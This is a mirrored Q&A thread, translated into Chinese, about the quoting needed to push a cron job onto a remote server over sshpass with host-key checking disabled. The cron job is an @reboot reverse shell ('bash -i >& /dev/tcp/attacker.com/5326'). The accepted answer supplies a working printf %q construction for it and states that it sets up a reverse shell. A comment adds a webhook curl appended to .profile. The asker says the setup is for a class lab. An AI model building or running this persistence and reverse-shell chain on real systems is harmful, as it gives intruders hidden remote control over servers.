【问题标题】:How to pass a single quote through a double quoted echo command in a script to add a cron job如何在脚本中通过双引号回显命令传递单引号以添加 cron 作业
【发布时间】:2019-03-31 18:33:00
【问题描述】:

我有一个脚本来更新 ssh 访问的远程服务器中的 cron 作业。我无法通过在我的 bash 脚本中运行的 echo 命令将单引号放入 cron 作业中。

这是我在 cron 作业中需要的确切字符串:

'bash -i >& /dev/tcp/attacker.com/5326 0>&1'

但我不能让他们“坚持”。

这是我脚本中的行(其他行工作正常。

sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"

这次尝试的结果是……

@reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1

...缺少引号。

我尝试了多个双引号。双引号内的单引号。斜线。

在这种情况下,如何在我的脚本中加上单引号,以便它们最终出现在 cron 作业中?

【问题讨论】:

    标签: linux bash cron echo sshpass


    【解决方案1】:

    如果你不需要它漂亮,你可以让 Bash 来做:

    #!/bin/bash
    cmd='bash -i >& /dev/tcp/attacker.com/5326 0>&1';
    crontab=$(printf "@reboot bash -c %q" "$cmd")
    echo=$(printf "echo %q >> TEMPFILENAME" "$crontab")
    ssh=$(printf "ssh localhost %q" "$echo")
    printf 'The command to run is:\n%s\n' "$ssh"
    

    这个脚本的输出是:

    The command to run is:
    ssh localhost echo\ @reboot\\\ bash\\\ -c\\\ bash\\\\\\\ -i\\\\\\\ \\\\\\\>\\\\\\\&\\\\\\\ /dev/tcp/attacker.com/5326\\\\\\\ 0\\\\\\\>\\\\\\\&1\ \>\>\ TEMPFILENAME
    

    事实上,如果你复制粘贴该命令,你会发现一个文件TEMPFILENAME 包含:

    @reboot bash -c bash\ -i\ \>\&\ /dev/tcp/attacker.com/5326\ 0\>\&1
    

    当复制粘贴到提示符时会设置反向shell。

    【讨论】:

    • 谢谢!今晚我会试一试,因为明天我必须和我的班级一起运行这个实验室。
    • 谢谢。我一直在尝试了解 %q 控件并找到不太理想的文档。所以现在当我需要在脚本中执行echo "curl -X POST -H "Content-Type: application/json" -d '{"value1":"PHONENUMBER","value2":"MESSAGE"}' https://maker.ifttt.com/trigger/TRIGGER/with/key/KEY &> /dev/null" >> .profile 时,我迷失了方向。在使用printf 之前,我应该考虑使用逻辑断点来分解命令吗?对于"',我应该考虑什么?
    【解决方案2】:

    你可以在用 '\' 转义单引号后尝试吗?

    sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c \'bash -i >& /dev/tcp/attacker.com/5326 0>&1\' >> TEMPFILENAME; crontab TEMPFILENAME"
    

    【讨论】:

    • 嗯,这是一个很好的问题 - 你能解释一下“this”的作用以及为什么你认为它可以解决问题吗?请记住,这样的解释有助于其他人从您的回答中学习
    • 很遗憾,这不起作用。我对此完全困惑。顺便说一句,\' 没有用,'\''\" 也没有用。我还尝试了"\'" 以及'\" 以及\''。我愿意尝试任何人的所有想法。
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 2021-09-12
    • 2018-01-27
    • 2021-09-24
    • 2020-04-06
    • 1970-01-01
    • 2014-09-28
    • 1970-01-01
    相关资源
    最近更新 更多